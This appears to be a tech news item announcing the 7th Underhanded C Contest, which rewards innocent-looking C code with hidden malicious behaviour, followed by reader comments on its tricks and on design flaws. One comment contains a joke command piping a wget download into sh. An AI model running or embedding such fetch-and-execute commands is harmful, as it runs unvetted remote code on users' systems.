The 7th Underhanded C Contest Is Online
Xcott Craver writes The 7th Underhanded C Contest is now open. The goal of the contest is to write code that is as readable, clear, innocent and straightforward as possible, and yet somehow exhibits evil behavior that cannot be seen even when staring at the source code. The winners from 2013 are also online, and their clever and insightful submissions make for fun reading.
Previously the contest has been about doing nefarious stuff to the user of the program while keeping the code innocuous.
This time, they want you to clandestinely warn users of government spying. It's a complete about-face on the definition of "underhanded". I love it.
http://www.brainhz.com/underhanded
Don't get me wrong this is all great fun yet many of these schemes stand no chance of being committed in any serious project.
Implicit returns generate compiler warnings.
printf variable as format specifier is a well known security issue lazy eyeballs and static analysis tools check for.
Serialization delimiter games are also well known issues standing little chance of being accepted.
exec("wget -O- http: //127.0.0.1/cute-puppies-and-unicorns-trust-me | sh");
were that true, CVE wouldn't be a thing.
Copyright (c) 1990 - 2014 Dice. All rights reserved. Use of this comment is subject to certain Terms and Conditions.
Sorry guys but this year's winner hands down is OpenSSL.
The last contest only ended a few weeks ago!
The problem with UCC is the same problem extreme-TDD proponents have. Too much focus on tiny glitches that can easily be found by eye or with LINT-like tools, and no focus at all on design flaws.
Subtle design flaws are much, much harder to spot. Tools will rarely catch them. Compiler buffer overflow checks won't check them. They are the sort of bugs UCC should focus on, rather than missing commas and the like.
In Amarok 1.4, when you change the tags in an MP3 file, they are not actually ASCII, they are some kind of UTF-8 reencode that looks exactly like ASCII in Amarok and get printed correctly on a terminal. But when the files are transferred and displayed on some MP3 players they appear as "mojibake".
Quick question: If one doesn't have a background in computer science, but rather mathematics, and mostly deals with scripting languages (Python, javascript, etc.), would that person be expected to understand these quickly, or even spot these errors? Even with the explanation, it's still a little weird.
Google Chrome
Most of the entries in past years have relied on subtle use of unsafe code (buffer overruns, platform-dependent quirks, etc.) for which there are plenty of opportunities in C. I'd really like to see them run, in parallel with the same challenge, an Underhanded Java Contest.
They added a feature to the filesystem that let you insert a music CD and see the tracks as WAV files, so you could rip the CD simply by dragging them to your desktop.
I remember that because I tried to play a CD by selecting all the tracks in the folder and double-clicking, only to hear the OS play all the CD tracks at the same time.